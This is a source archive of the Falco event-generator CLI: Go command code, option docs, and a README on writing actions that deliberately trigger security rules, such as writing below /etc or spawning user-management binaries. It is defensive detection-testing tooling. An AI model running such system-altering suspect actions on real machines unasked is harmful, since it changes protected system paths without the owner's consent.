"github.com/go-playground/validator/v10"
logger "github.com/sirupsen/logrus"
)
// ConfigOptions represent the persistent configuration flags of event-generator.
type ConfigOptions struct {
ConfigFile string `validate:"filepath" name:"config"`
LogLevel string `validate:"logrus" name:"loglevel" default:"info"`
LogFormat string `validate:"format" name:"logformat" default:"text"`
}
// NewConfigOptions creates an instance of ConfigOptions.
func NewConfigOptions() *ConfigOptions {
o := &ConfigOptions{}
if err := defaults.Set(o); err != nil {
logger.WithError(err).WithField("options", "ConfigOptions").Fatal("error setting event-generator options defaults")
}
return o
}
// Validate validates the ConfigOptions fields.
func (co *ConfigOptions) Validate() []error {
if err := validate.V.Struct(co); err != nil {
errs := err.(validator.ValidationErrors)
errArr := []error{}
for _, e := range errs {
// Translate each error one at a time
errArr = append(errArr, errors.New(e.Translate(validate.T)))
}
return errArr
}
return nil
}
07070100000011000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002A00000000falco-event-generator-0.12.0/cmd/internal07070100000012000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000003300000000falco-event-generator-0.12.0/cmd/internal/validate07070100000013000081A400000000000000000000000166F189F1000003EE000000000000000000000000000000000000004100000000falco-event-generator-0.12.0/cmd/internal/validate/isfilepath.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package validate
import (
"fmt"
"os"
"reflect"
"github.com/go-playground/validator/v10"
)
func isFilePath(fl validator.FieldLevel) bool {
field := fl.Field()
switch field.Kind() {
case reflect.String:
fileInfo, err := os.Stat(field.String())
if err != nil {
return os.IsNotExist(err)
}
return !fileInfo.IsDir()
}
panic(fmt.Sprintf("Bad field type %T", field.Interface()))
}
07070100000014000081A400000000000000000000000166F189F100000355000000000000000000000000000000000000004400000000falco-event-generator-0.12.0/cmd/internal/validate/islogruslevel.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package validate
import (
"github.com/go-playground/validator/v10"
logger "github.com/sirupsen/logrus"
)
func isLogrusLevel(fl validator.FieldLevel) bool {
level := fl.Field().String()
_, err := logger.ParseLevel(level)
return err == nil
}
07070100000015000081A400000000000000000000000166F189F100000A62000000000000000000000000000000000000003F00000000falco-event-generator-0.12.0/cmd/internal/validate/validate.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package validate
import (
"reflect"
"strings"
"github.com/go-playground/locales/en"
ut "github.com/go-playground/universal-translator"
"github.com/go-playground/validator/v10"
en_translations "github.com/go-playground/validator/v10/translations/en"
)
// V is the validator single instance.
//
// It is a singleton so to cache the structs info.
var V *validator.Validate
// T is the universal translator for validatiors.
var T ut.Translator
func init() {
V = validator.New()
// Register a function to get the field name from "name" tags.
V.RegisterTagNameFunc(func(fld reflect.StructField) string {
name := strings.SplitN(fld.Tag.Get("name"), ",", 2)[0]
if name == "-" {
return ""
}
return name
})
if err := V.RegisterValidation("filepath", isFilePath); err != nil {
panic(err)
}
if err := V.RegisterValidation("logrus", isLogrusLevel); err != nil {
panic(err)
}
V.RegisterAlias("format", "eq=text|eq=json")
eng := en.New()
uni := ut.New(eng, eng)
T, _ = uni.GetTranslator("en")
if err := en_translations.RegisterDefaultTranslations(V, T); err != nil {
panic(err)
}
if err := V.RegisterTranslation(
"filepath",
T,
func(ut ut.Translator) error {
return ut.Add("filepath", `'{0}' must be a valid file path`, true)
},
func(ut ut.Translator, fe validator.FieldError) string {
t, _ := ut.T("filepath", fe.Field())
return t
},
); err != nil {
panic(err)
}
if err := V.RegisterTranslation(
"logrus",
T,
func(ut ut.Translator) error {
return ut.Add("logrus", `'{0}' is not a valid log level`, true)
},
func(ut ut.Translator, fe validator.FieldError) string {
t, _ := ut.T("logrus", fe.Value().(string))
return t
},
); err != nil {
panic(err)
}
if err := V.RegisterTranslation(
"format",
T,
func(ut ut.Translator) error {
return ut.Add("format", `'{0}' is not a valid log format`, true)
},
func(ut ut.Translator, fe validator.FieldError) string {
t, _ := ut.T("format", fe.Value().(string))
return t
},
); err != nil {
panic(err)
}
}
07070100000016000081A400000000000000000000000166F189F10000084D000000000000000000000000000000000000002900000000falco-event-generator-0.12.0/cmd/list.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package cmd
import (
"fmt"
"regexp"
"sort"
// register event collections
_ "github.com/falcosecurity/event-generator/events/k8saudit"
_ "github.com/falcosecurity/event-generator/events/syscall"
"github.com/falcosecurity/event-generator/events"
"github.com/spf13/cobra"
)
// NewList instantiates the list subcommand.
func NewList() *cobra.Command {
c := &cobra.Command{
Use: "list [regexp]",
Short: "List available actions",
Long: `Without arguments it lists all actions, otherwise only those actions matching the given regular expression.
`,
Args: cobra.MaximumNArgs(1),
DisableAutoGenTag: true,
}
flags := c.Flags()
flags.Bool("all", false, "List all actions, including those disabled by default")
c.RunE = func(c *cobra.Command, args []string) error {
all, err := flags.GetBool("all")
if err != nil {
return err
}
var evts map[string]events.Action
if len(args) == 0 {
evts = events.All()
} else {
reg, err := regexp.Compile(args[0])
if err != nil {
return err
}
evts = events.ByRegexp(reg)
if len(evts) == 0 {
return fmt.Errorf(`no events matching '%s'`, args[0])
}
}
var actions []string
for action := range evts {
if !all && events.Disabled(action) {
continue
}
actions = append(actions, action)
}
if len(actions) == 0 {
return fmt.Errorf(`no enabled events matching '%s'`, args[0])
}
sort.Strings(actions)
for _, v := range actions {
fmt.Println(v)
}
return nil
}
return c
}
07070100000017000081A400000000000000000000000166F189F100001B21000000000000000000000000000000000000002900000000falco-event-generator-0.12.0/cmd/root.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package cmd
import (
"context"
"os"
"os/signal"
"strings"
"syscall"
// register event collections
_ "github.com/falcosecurity/event-generator/events/k8saudit"
_ "github.com/falcosecurity/event-generator/events/syscall"
// Initialize all k8s client auth plugins
_ "k8s.io/client-go/plugin/pkg/client/auth"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
homedir "github.com/mitchellh/go-homedir"
logger "github.com/sirupsen/logrus"
"github.com/spf13/viper"
)
func init() {
logger.SetFormatter(&logger.TextFormatter{
ForceColors: true,
DisableLevelTruncation: false,
DisableTimestamp: true,
})
}
// New instantiates the root command.
func New(configOptions *ConfigOptions) *cobra.Command {
if configOptions == nil {
configOptions = NewConfigOptions()
}
rootCmd := &cobra.Command{
Use: "event-generator",
Short: "A command line tool to perform a variety of suspect actions.",
DisableAutoGenTag: true,
PersistentPreRun: func(c *cobra.Command, args []string) {
// PersistentPreRun runs before flags validation but after args validation.
// Do not assume initialization completed during args validation.
// at this stage configOptions is bound to command line flags only
validateConfig(*configOptions)
initLogger(configOptions.LogLevel, configOptions.LogFormat)
logger.Debug("running with args: ", strings.Join(os.Args, " "))
initConfig(configOptions.ConfigFile)
// then bind all flags to ENV and config file
flags := c.Flags()
initEnv()
initFlags(flags, map[string]bool{
// exclude flags to be not bound to ENV and config file
"config": true,
"loglevel": true,
"logformat": true,
"help": true,
})
// validateConfig(*configOptions) // enable if other flags were bound to configOptions
debugFlags(flags)
},
Run: func(c *cobra.Command, args []string) {
if err := c.Help(); err != nil {
logger.WithError(err).Fatal("error running help")
}
},
}
// Global flags
flags := rootCmd.PersistentFlags()
flags.StringVarP(&configOptions.ConfigFile, "config", "c", configOptions.ConfigFile, "Config file path (default $HOME/.falco-event-generator.yaml if exists)")
flags.StringVarP(&configOptions.LogLevel, "loglevel", "l", configOptions.LogLevel, "Log level")
flags.StringVar(&configOptions.LogFormat, "logformat", configOptions.LogFormat, `available formats: "text" or "json"`)
// Commands
rootCmd.AddCommand(NewRun())
rootCmd.AddCommand(NewBench())
rootCmd.AddCommand(NewTest())
rootCmd.AddCommand(NewList())
return rootCmd
}
// Execute creates the root command and runs it.
func Execute() {
ctx := WithSignals(context.Background())
if err := New(nil).ExecuteContext(ctx); err != nil {
logger.WithError(err).Fatal("error executing event-generator")
}
}
// WithSignals returns a copy of ctx with a new Done channel.
// The returned context's Done channel is closed when a SIGKILL or SIGTERM signal is received.
func WithSignals(ctx context.Context) context.Context {
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, os.Interrupt, syscall.SIGTERM)
ctx, cancel := context.WithCancel(ctx)
go func() {
defer cancel()
select {
case <-ctx.Done():
return
case s := <-sigCh:
switch s {
case os.Interrupt:
logger.Infof("received SIGINT, shutting down")
case syscall.SIGTERM:
logger.Infof("received SIGTERM, shutting down")
}
return
}
}()
return ctx
}
// validateConfig
func validateConfig(configOptions ConfigOptions) {
if errs := configOptions.Validate(); errs != nil {
for _, err := range errs {
logger.WithError(err).Error("error validating config options")
}
logger.Fatal("exiting for validation errors")
}
}
// initEnv enables automatic ENV variables lookup
func initEnv() {
viper.AutomaticEnv()
viper.SetEnvPrefix("falco_event_generator")
viper.SetEnvKeyReplacer(strings.NewReplacer("-", "_"))
}
// initLogger configures the logger
func initLogger(logLevel string, logFormat string) {
switch logFormat {
case "text":
// do nothing, default option
case "json":
logger.SetFormatter(&logger.JSONFormatter{
DisableTimestamp: true,
})
default:
logger.Fatalf(`"%s" log format is not supported`, logFormat)
}
lvl, err := logger.ParseLevel(logLevel)
if err != nil {
logger.Fatal(err)
}
logger.SetLevel(lvl)
}
// initConfig reads in config file, if any
func initConfig(configFile string) {
if configFile != "" {
viper.SetConfigFile(configFile)
} else {
// Find home directory.
home, err := homedir.Dir()
if err != nil {
logger.WithError(err).Fatal("error getting the home directory")
}
viper.AddConfigPath(home)
viper.SetConfigName(".falco-event-generator")
}
// If a config file is found, read it in.
if err := viper.ReadInConfig(); err == nil {
logger.WithField("file", viper.ConfigFileUsed()).Info("using config file")
} else {
if _, ok := err.(viper.ConfigFileNotFoundError); ok {
// Config file not found, ignore ...
logger.Debug("running without a configuration file")
} else {
// Config file was found but another error was produced
logger.WithField("file", viper.ConfigFileUsed()).WithError(err).Fatal("error running with config file")
}
}
}
// initFlags binds a full flag set to the configuration, using each flag's long name as the config key.
//
// Assuming viper's `AutomaticEnv` is enabled, when a flag is not present in the command line
// will fallback to one of (in order of precedence):
// - ENV (with FALCO_EVENT_GENERATOR prefix)
// - config file (e.g. ~/.falco-event-generator.yaml)
// - its default
func initFlags(flags *pflag.FlagSet, exclude map[string]bool) {
if err := viper.BindPFlags(flags); err != nil {
logger.WithError(err).Fatal("error binding flags to configuration")
}
flags.VisitAll(func(f *pflag.Flag) {
if exclude[f.Name] {
return
}
viper.SetDefault(f.Name, f.DefValue)
if v := viper.GetString(f.Name); v != f.DefValue {
if err := flags.Set(f.Name, v); err != nil {
logger.WithError(err).WithField("flag", f.Name).Fatal("error setting flag")
}
}
})
}
func debugFlags(flags *pflag.FlagSet) {
fields := logger.Fields{}
flags.VisitAll(func(f *pflag.Flag) {
if f.Changed {
fields[f.Name] = f.Value
}
})
logger.WithFields(fields).Debug("running with options")
}
07070100000018000081A400000000000000000000000166F189F100000F7E000000000000000000000000000000000000002800000000falco-event-generator-0.12.0/cmd/run.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package cmd
import (
"fmt"
"strings"
"time"
"github.com/falcosecurity/event-generator/events"
"github.com/falcosecurity/event-generator/pkg/runner"
logger "github.com/sirupsen/logrus"
"github.com/spf13/cobra"
"k8s.io/cli-runtime/pkg/genericclioptions"
cmdutil "k8s.io/kubectl/pkg/cmd/util"
)
// DefaultNamespace const contains the name of the default Kubernetes namespace.
const DefaultNamespace = "default"
const runWarningMessage = `
Warning:
This command might alter your system. For example, some actions modify files and directories below
/bin, /etc, /dev, etc.
Make sure you fully understand what is the purpose of this tool before running any action.
`
// NewRun instantiates the run subcommand.
func NewRun() *cobra.Command {
c, runEWithOpts := newRunTemplate()
c.RunE = func(c *cobra.Command, args []string) error {
return runEWithOpts(c, args)
}
return c
}
func newRunTemplate() (c *cobra.Command, runE func(c *cobra.Command, args []string, options ...runner.Option) error) {
c = &cobra.Command{
Use: "run [regexp]",
Short: "Run actions",
Long: `Performs a variety of suspect actions.
Without arguments it runs all actions, otherwise only those actions matching the given regular expression.
` + runWarningMessage,
Args: cobra.MaximumNArgs(1),
DisableAutoGenTag: true,
}
flags := c.Flags()
flags.Duration("sleep", time.Millisecond*100, "The length of time to wait before running an action. Non-zero values should contain a corresponding time unit (e.g. 1s, 2m, 3h). A value of zero means no sleep.")
flags.Bool("loop", false, "Run in a loop")
flags.Bool("all", false, "Run all actions, including those disabled by default")
kubeConfigFlags := genericclioptions.NewConfigFlags(false)
kubeConfigFlags.AddFlags(flags)
matchVersionKubeConfigFlags := cmdutil.NewMatchVersionFlags(kubeConfigFlags)
matchVersionKubeConfigFlags.AddFlags(flags)
ns := flags.Lookup("namespace")
ns.DefValue = DefaultNamespace
if err := ns.Value.Set(DefaultNamespace); err != nil {
panic(err)
}
return c, func(c *cobra.Command, args []string, options ...runner.Option) error {
flags := c.Flags()
ns, err := flags.GetString("namespace")
if err != nil {
return err
}
sleep, err := flags.GetDuration("sleep")
if err != nil {
return err
}
loop, err := flags.GetBool("loop")
if err != nil {
return err
}
all, err := flags.GetBool("all")
if err != nil {
return err
}
l := logger.StandardLogger()
// Honor --all too!
exeArgs := fmt.Sprintf("--loglevel %s run", l.GetLevel().String())
if all {
exeArgs += " --all"
}
runOpts := []runner.Option{
runner.WithLogger(l),
runner.WithKubeNamespace(ns),
runner.WithKubeFactory(cmdutil.NewFactory(matchVersionKubeConfigFlags)),
// todo(leogr): inherit other flags
runner.WithExecutable("", strings.Split(exeArgs, " ")...),
runner.WithSleep(sleep),
runner.WithLoop(loop),
runner.WithAllEnabled(all),
}
// allow to override runOpts by appending given options
options = append(runOpts, options...)
r, err := runner.New(options...)
if err != nil {
return err
}
c.SilenceUsage = true
if len(args) == 0 {
return r.Run(c.Context(), events.All())
}
evts, err := parseEventsArg(args[0])
if err != nil {
return err
}
return r.Run(c.Context(), evts)
}
}
07070100000019000081A400000000000000000000000166F189F100000680000000000000000000000000000000000000002900000000falco-event-generator-0.12.0/cmd/test.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package cmd
import (
"time"
"github.com/falcosecurity/event-generator/pkg/runner"
"github.com/falcosecurity/event-generator/pkg/tester"
"github.com/spf13/cobra"
)
// NewTest instantiates the test subcommand.
func NewTest() *cobra.Command {
c, runEWithOpts := newRunTemplate()
c.Use = "test [regexp]"
c.Short = "Run and test actions"
c.Long = `Performs a variety of suspect actions and test them against a running Falco instance.
Note that the Falco gRPC Output must be enabled to use this command.
Without arguments it tests all actions, otherwise only those actions matching the given regular expression.
` + runWarningMessage
flags := c.Flags()
var testTimeout time.Duration
flags.DurationVar(&testTimeout, "test-timeout", tester.DefaultTestTimeout, "Test duration timeout")
grpcCfg := grpcFlags(flags)
c.RunE = func(c *cobra.Command, args []string) error {
t, err := tester.New(grpcCfg, tester.WithTestTimeout(testTimeout))
if err != nil {
return err
}
return runEWithOpts(c, args, runner.WithPlugin(t))
}
return c
}
0707010000001A000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002200000000falco-event-generator-0.12.0/docs0707010000001B000081A400000000000000000000000166F189F1000002D4000000000000000000000000000000000000003500000000falco-event-generator-0.12.0/docs/event-generator.md## event-generator
A command line tool to perform a variety of suspect actions.
```
event-generator [flags]
```
### Options
```
-c, --config string Config file path (default $HOME/.falco-event-generator.yaml if exists)
-h, --help help for event-generator
--logformat string available formats: "text" or "json" (default "text")
-l, --loglevel string Log level (default "info")
```
### SEE ALSO
* [event-generator bench](event-generator_bench.md) - Benchmark for Falco
* [event-generator list](event-generator_list.md) - List available actions
* [event-generator run](event-generator_run.md) - Run actions
* [event-generator test](event-generator_test.md) - Run and test actions
0707010000001C000081A400000000000000000000000166F189F100001509000000000000000000000000000000000000003B00000000falco-event-generator-0.12.0/docs/event-generator_bench.md## event-generator bench
Benchmark for Falco
### Synopsis
Benchmark a running Falco instance.
This command generates a high number of Event Per Second (EPS), to test the events throughput allowed by Falco.
The number of EPS is controlled by the "--sleep" option: reduce the sleeping duration to increase the EPS.
If the "--loop" option is set, the sleeping duration is halved on each round.
The "--pid" option can be used to monitor the Falco process.
N.B.:
- the Falco gRPC Output must be enabled to use this command
- "outputs.rate" and "outputs.max_burst" values within the Falco configuration must be increased,
otherwise EPS will be rate-limited by the throttling mechanism
- since not all actions can be used for benchmarking,
only those actions matching the given regular expression are used
One commmon way to use this command is as following:
event-generator bench "ChangeThreadNamespace|ReadSensitiveFileUntrusted" --all --loop --sleep 10ms --pid $(pidof -s falco)
Warning:
This command might alter your system. For example, some actions modify files and directories below
/bin, /etc, /dev, etc.
Make sure you fully understand what is the purpose of this tool before running any action.
```
event-generator bench [regexp] [flags]
```
### Options
```
--all Run all actions, including those disabled by default
--as string Username to impersonate for the operation. User could be a regular user or a service account in a namespace.
--as-group stringArray Group to impersonate for the operation, this flag can be repeated to specify multiple groups.
--as-uid string UID to impersonate for the operation.
--cache-dir string Default cache directory (default "$HOME/.kube/http-cache")
--certificate-authority string Path to a cert file for the certificate authority
--client-certificate string Path to a client certificate file for TLS
--client-key string Path to a client key file for TLS
--cluster string The name of the kubeconfig cluster to use
--context string The name of the kubeconfig context to use
--disable-compression If true, opt-out of response compression for all requests to the server
--dry-run Do not connect to Falco gRPC API
--grpc-ca string CA root file path for connecting to a Falco gRPC server (default "/etc/falco/certs/ca.crt")
--grpc-cert string Cert file path for connecting to a Falco gRPC server (default "/etc/falco/certs/client.crt")
--grpc-hostname string Hostname for connecting to a Falco gRPC server (default "localhost")
--grpc-key string Key file path for connecting to a Falco gRPC server (default "/etc/falco/certs/client.key")
--grpc-port uint16 Port for connecting to a Falco gRPC server (default 5060)
--grpc-unix-socket string Unix socket path for connecting to a Falco gRPC server (default "unix:///run/falco/falco.sock")
-h, --help help for bench
--humanize Humanize values when printing statistics (default true)
--insecure-skip-tls-verify If true, the server's certificate will not be checked for validity. This will make your HTTPS connections insecure
--kubeconfig string Path to the kubeconfig file to use for CLI requests.
--loop Run in a loop
--match-server-version Require server version to match client version
-n, --namespace string If present, the namespace scope for this CLI request (default "default")
--pid int A process PID to monitor while benchmarking (e.g. the falco process)
--polling-interval duration Duration of gRPC APIs polling timeout (default 100ms)
--request-timeout string The length of time to wait before giving up on a single server request. Non-zero values should contain a corresponding time unit (e.g. 1s, 2m, 3h). A value of zero means don't timeout requests. (default "0")
--round-duration duration Duration of a benchmark round (default 5s)
-s, --server string The address and port of the Kubernetes API server
--sleep duration The length of time to wait before running an action. Non-zero values should contain a corresponding time unit (e.g. 1s, 2m, 3h). A value of zero means no sleep. (default 100ms)
--tls-server-name string Server name to use for server certificate validation. If it is not provided, the hostname used to contact the server is used
--token string Bearer token for authentication to the API server
--user string The name of the kubeconfig user to use
```
### Options inherited from parent commands
```
-c, --config string Config file path (default $HOME/.falco-event-generator.yaml if exists)
--logformat string available formats: "text" or "json" (default "text")
-l, --loglevel string Log level (default "info")
```
### SEE ALSO
* [event-generator](event-generator.md) - A command line tool to perform a variety of suspect actions.
0707010000001D000081A400000000000000000000000166F189F1000002E8000000000000000000000000000000000000003A00000000falco-event-generator-0.12.0/docs/event-generator_list.md## event-generator list
List available actions
### Synopsis
Without arguments it lists all actions, otherwise only those actions matching the given regular expression.
```
event-generator list [regexp] [flags]
```
### Options
```
--all List all actions, including those disabled by default
-h, --help help for list
```
### Options inherited from parent commands
```
-c, --config string Config file path (default $HOME/.falco-event-generator.yaml if exists)
--logformat string available formats: "text" or "json" (default "text")
-l, --loglevel string Log level (default "info")
```
### SEE ALSO
* [event-generator](event-generator.md) - A command line tool to perform a variety of suspect actions.
0707010000001E000081A400000000000000000000000166F189F100000D46000000000000000000000000000000000000003900000000falco-event-generator-0.12.0/docs/event-generator_run.md## event-generator run
Run actions
### Synopsis
Performs a variety of suspect actions.
Without arguments it runs all actions, otherwise only those actions matching the given regular expression.
Warning:
This command might alter your system. For example, some actions modify files and directories below
/bin, /etc, /dev, etc.
Make sure you fully understand what is the purpose of this tool before running any action.
```
event-generator run [regexp] [flags]
```
### Options
```
--all Run all actions, including those disabled by default
--as string Username to impersonate for the operation. User could be a regular user or a service account in a namespace.
--as-group stringArray Group to impersonate for the operation, this flag can be repeated to specify multiple groups.
--as-uid string UID to impersonate for the operation.
--cache-dir string Default cache directory (default "$HOME/.kube/http-cache")
--certificate-authority string Path to a cert file for the certificate authority
--client-certificate string Path to a client certificate file for TLS
--client-key string Path to a client key file for TLS
--cluster string The name of the kubeconfig cluster to use
--context string The name of the kubeconfig context to use
--disable-compression If true, opt-out of response compression for all requests to the server
-h, --help help for run
--insecure-skip-tls-verify If true, the server's certificate will not be checked for validity. This will make your HTTPS connections insecure
--kubeconfig string Path to the kubeconfig file to use for CLI requests.
--loop Run in a loop
--match-server-version Require server version to match client version
-n, --namespace string If present, the namespace scope for this CLI request (default "default")
--request-timeout string The length of time to wait before giving up on a single server request. Non-zero values should contain a corresponding time unit (e.g. 1s, 2m, 3h). A value of zero means don't timeout requests. (default "0")
-s, --server string The address and port of the Kubernetes API server
--sleep duration The length of time to wait before running an action. Non-zero values should contain a corresponding time unit (e.g. 1s, 2m, 3h). A value of zero means no sleep. (default 100ms)
--tls-server-name string Server name to use for server certificate validation. If it is not provided, the hostname used to contact the server is used
--token string Bearer token for authentication to the API server
--user string The name of the kubeconfig user to use
```
### Options inherited from parent commands
```
-c, --config string Config file path (default $HOME/.falco-event-generator.yaml if exists)
--logformat string available formats: "text" or "json" (default "text")
-l, --loglevel string Log level (default "info")
```
### SEE ALSO
* [event-generator](event-generator.md) - A command line tool to perform a variety of suspect actions.
0707010000001F000081A400000000000000000000000166F189F1000010F1000000000000000000000000000000000000003A00000000falco-event-generator-0.12.0/docs/event-generator_test.md## event-generator test
Run and test actions
### Synopsis
Performs a variety of suspect actions and test them against a running Falco instance.
Note that the Falco gRPC Output must be enabled to use this command.
Without arguments it tests all actions, otherwise only those actions matching the given regular expression.
Warning:
This command might alter your system. For example, some actions modify files and directories below
/bin, /etc, /dev, etc.
Make sure you fully understand what is the purpose of this tool before running any action.
```
event-generator test [regexp] [flags]
```
### Options
```
--all Run all actions, including those disabled by default
--as string Username to impersonate for the operation. User could be a regular user or a service account in a namespace.
--as-group stringArray Group to impersonate for the operation, this flag can be repeated to specify multiple groups.
--as-uid string UID to impersonate for the operation.
--cache-dir string Default cache directory (default "$HOME/.kube/http-cache")
--certificate-authority string Path to a cert file for the certificate authority
--client-certificate string Path to a client certificate file for TLS
--client-key string Path to a client key file for TLS
--cluster string The name of the kubeconfig cluster to use
--context string The name of the kubeconfig context to use
--disable-compression If true, opt-out of response compression for all requests to the server
--grpc-ca string CA root file path for connecting to a Falco gRPC server (default "/etc/falco/certs/ca.crt")
--grpc-cert string Cert file path for connecting to a Falco gRPC server (default "/etc/falco/certs/client.crt")
--grpc-hostname string Hostname for connecting to a Falco gRPC server (default "localhost")
--grpc-key string Key file path for connecting to a Falco gRPC server (default "/etc/falco/certs/client.key")
--grpc-port uint16 Port for connecting to a Falco gRPC server (default 5060)
--grpc-unix-socket string Unix socket path for connecting to a Falco gRPC server (default "unix:///run/falco/falco.sock")
-h, --help help for test
--insecure-skip-tls-verify If true, the server's certificate will not be checked for validity. This will make your HTTPS connections insecure
--kubeconfig string Path to the kubeconfig file to use for CLI requests.
--loop Run in a loop
--match-server-version Require server version to match client version
-n, --namespace string If present, the namespace scope for this CLI request (default "default")
--request-timeout string The length of time to wait before giving up on a single server request. Non-zero values should contain a corresponding time unit (e.g. 1s, 2m, 3h). A value of zero means don't timeout requests. (default "0")
-s, --server string The address and port of the Kubernetes API server
--sleep duration The length of time to wait before running an action. Non-zero values should contain a corresponding time unit (e.g. 1s, 2m, 3h). A value of zero means no sleep. (default 100ms)
--test-timeout duration Test duration timeout (default 1m0s)
--tls-server-name string Server name to use for server certificate validation. If it is not provided, the hostname used to contact the server is used
--token string Bearer token for authentication to the API server
--user string The name of the kubeconfig user to use
```
### Options inherited from parent commands
```
-c, --config string Config file path (default $HOME/.falco-event-generator.yaml if exists)
--logformat string available formats: "text" or "json" (default "text")
-l, --loglevel string Log level (default "info")
```
### SEE ALSO
* [event-generator](event-generator.md) - A command line tool to perform a variety of suspect actions.
07070100000020000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002400000000falco-event-generator-0.12.0/events07070100000021000081A400000000000000000000000166F189F10000145C000000000000000000000000000000000000002E00000000falco-event-generator-0.12.0/events/README.md# The events registry
This package is a place for registering and exposing actions which trigger security events.
It implements a very *minimalistic framework* by using several conventions (see below).
## Conventions
An *action* is a `func` that implements `events.Action` interface, and when called it should trigger an event that can be caught by at least one Falco rule. The fully qualified name of an *action* is in the form `<package>.<FuncName>` (eg.`syscall.WriteBelowEtc`). Finally, to implement an action, you must meet the following conventions.
### Choose a package
- The package name should reflect the data source name of the ruleset (ie. `syscall`).
- Each *action* must be put in a subpackage of `events` that matches the ruleset context.
- The `helper` subpackage is intended for actions that do not match a rule but can still be useful for implementing other actions.
- Before adding a new subpackage, propose your motivations to the maintainers.
#### Functions visibility
Only `func`s that implement the `events.Action` interface must be exported by a package. Other utility functions can be included, if needed, stating they are not exported names (a notable example is [syscall/utils_linux.go](https://github.com/falcosecurity/event-generator/blob/main/events/syscall/utils_linux.go)).
### Naming
- Use the name of the rule the action is intended for, remove all non-alphanumeric characters (eg. `s/[^([:alpha:]|[:digit:]]//g`), and convert it to:
- *CamelCase* for function name (eg. `WriteBelowEtc`),
- *underscore_case* for file name (eg. `write_below_etc.go`), alternativelly *dash-case* is acceptable to for file types other than `.go` (eg. `create-privileged-pod.yaml`).
- The resulting action name must match the name of the rule stripped of all non-alphanumeric characters when comparing those strings in a case insensitive manner.
### Registration
Each action must be registered by calling `events.Register()` or `events.RegisterWithName()` at initialization time, the first one will automatically extracts the name from the `func`'s name. For example:
```golang
var _ = events.Register(SystemUserInteractive)
```
Rules disabled by default or not included in the *stable* ruleset (if the [Rules Maturity Framework applies) must be skipped by default. For example:
```golang
var _ = events.Register(
WriteBelowEtc,
events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)
```
### Handling Unsupported Contexts/Prerequisites
When developing actions for the event-generator, it's essential to consider whether the action is applicable to the current execution context. For example, certain actions might be intended to run exclusively within containers or specific environments. Actions that require a specific context or prerequisite to execute successfully should skip the action by return events.ErrSkipped when the necessary conditions are not met For example:
```golang
func UserMgmtBinaries(h events.Helper) error {
if h.InContainer() {
return &events.ErrSkipped{
Reason: "'User mgmt binaries' is excluded in containers",
}
}
return h.SpawnAsWithSymlink("vipw", "helper.ExecLs")
}
```
### Behavior
Running an *action* should be an idempotent operation in the sense that it should not have additional effects if it is called more than once.
For this reason, *actions* should revert any operation that changed the state of the system (eg. if a file is created, then it has to be removed). For example:
```golang
func WriteBelowEtc(h events.Helper) error {
const filename = "/etc/falco-event-generator"
h.Log().Infof("writing to %s", filename)
defer os.Remove(filename) // clean up here!!!
return os.WriteFile(filename, nil, os.FileMode(0755))
}
```
## The k8saudit YAML loader
The `k8saudit` collection includes a facilitator for implementing *actions* that ones of just need to create K8s resources.
